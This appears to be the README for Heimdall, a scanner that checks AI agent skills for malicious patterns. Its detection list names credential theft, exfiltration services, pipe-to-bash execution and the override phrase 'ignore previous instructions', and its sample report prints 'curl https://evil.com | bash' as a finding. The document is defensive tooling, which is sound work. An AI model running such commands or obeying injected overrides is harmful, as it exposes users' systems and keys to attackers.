heimdall-security

Heimdall - Security Scanner for AI Agent Skills

Scan OpenClaw skills for malicious patterns before installation. Context-aware scanning with AI-powered narrative analysis.

When to Use

Use Heimdall when:

• Installing a new skill from ClawHub or GitHub
• Reviewing skills before adding to your workspace
• Auditing existing installed skills
• Someone shares a skill URL and you want to verify it's safe

Commands

Basic Scan

~/clawd/skills/heimdall/scripts/skill-scan.py /path/to/skill

AI-Powered Analysis (Recommended)

~/clawd/skills/heimdall/scripts/skill-scan.py --analyze /path/to/skill

Requires OPENROUTER_API_KEY env var or ~/clawd/secrets/openrouter.key

Scan from URL

# Clone to temp, scan, delete
git clone https://github.com/user/skill /tmp/test-skill
~/clawd/skills/heimdall/scripts/skill-scan.py --analyze /tmp/test-skill
rm -rf /tmp/test-skill

Scan All Installed Skills

for skill in ~/clawd/skills/*/; do
  echo "=== $skill ==="
  ~/clawd/skills/heimdall/scripts/skill-scan.py "$skill"
done

Options

Flag	Description
--analyze	AI-powered narrative analysis (uses Claude)
--strict	Ignore context, flag everything
--json	Output as JSON
-v, --verbose	Show all findings
--show-suppressed	Show context-suppressed findings

What It Detects (100+ patterns)

? Critical

• credential_access: .env files, API keys, tokens, private keys
• network_exfil: webhook.site, ngrok, requestbin
• shell_exec: subprocess, eval, exec, pipe to bash
• remote_fetch: curl/wget skill.md from internet
• heartbeat_injection: HEARTBEAT.md modifications
• mcp_abuse: no_human_approval, auto_approve
• unicode_injection: Hidden U+E0001-U+E007F characters

? High

• supply_chain: External git repos, npm/pip installs
• telemetry: OpenTelemetry, Signoz, Uptrace
• crypto_wallet: BTC/ETH addresses, seed phrases
• impersonation: "ignore previous instructions"
• privilege: sudo -S, chmod 777

⚠️ Medium

• prefill_exfil: Google Forms data exfiltration
• persistence: crontab, bashrc modifications

Example Output

Basic Scan

============================================================
? SKILL SECURITY SCAN REPORT v4.0
============================================================
? Path: /tmp/suspicious-skill
? Files scanned: 6
? Active issues: 14
⚡ Max severity: CRITICAL
? Action: ? CRITICAL - BLOCKED - Likely malicious
============================================================

? CRITICAL (3 issues):
  [shell_exec]
    • install.sh:12 - Pipe to bash
      Match: curl https://evil.com | bash

AI Analysis (--analyze)

============================================================
? HEIMDALL SECURITY ANALYSIS 
============================================================

? Skill: suspicious-skill
⚡ Verdict: ? HIGH RISK - Requires Significant Trust

## Summary
This skill installs code from an external company that can 
self-modify and sends telemetry to third-party servers.

## Key Risks

### 1. Data Exfiltration
OpenTelemetry sends execution traces to external servers.
YOUR agent's behavior → THEIR servers. ?

### 2. Supply Chain Attack Surface
Git clones from external repos during install and self-evolution.

## What You're Agreeing To
1. Installing their code
2. Letting it modify itself
3. Sending telemetry to them

## Recommendation
? Don't install on any machine with real data/keys.
============================================================

Context-Aware Scanning

Heimdall understands context to reduce false positives (~85% reduction):

Context	Severity Adjustment
CODE	Full severity
CONFIG	-1 level
DOCS	-3 levels (patterns in README are examples)
STRING	-3 levels (blocklist definitions)

Use --strict to disable context adjustment and flag everything.

Security Sources

Patterns derived from:

• Simon Willison - Moltbook Security Analysis
• PromptArmor - MCP Tool Attacks
• LLMSecurity.net - Auto-Approve Exploits
• OWASP - Injection Attacks

Installation Notes

After installing from ClawHub, create an alias for convenience:

echo 'alias skill-scan="~/clawd/skills/heimdall/scripts/skill-scan.py"' >> ~/.bashrc
source ~/.bashrc

For AI analysis, ensure you have an OpenRouter API key:

# Option 1: Environment variable
export OPENROUTER_API_KEY="sk-or-..."

# Option 2: Save to file
echo "sk-or-..." > ~/clawd/secrets/openrouter.key

Credits

Built by the Enterprise Crew ?

• Ada ? (Brain + BD/Sales)
• Spock ? (Research & Ops)
• Scotty ? (Builder)

GitHub: https://github.com/henrino3/heimdall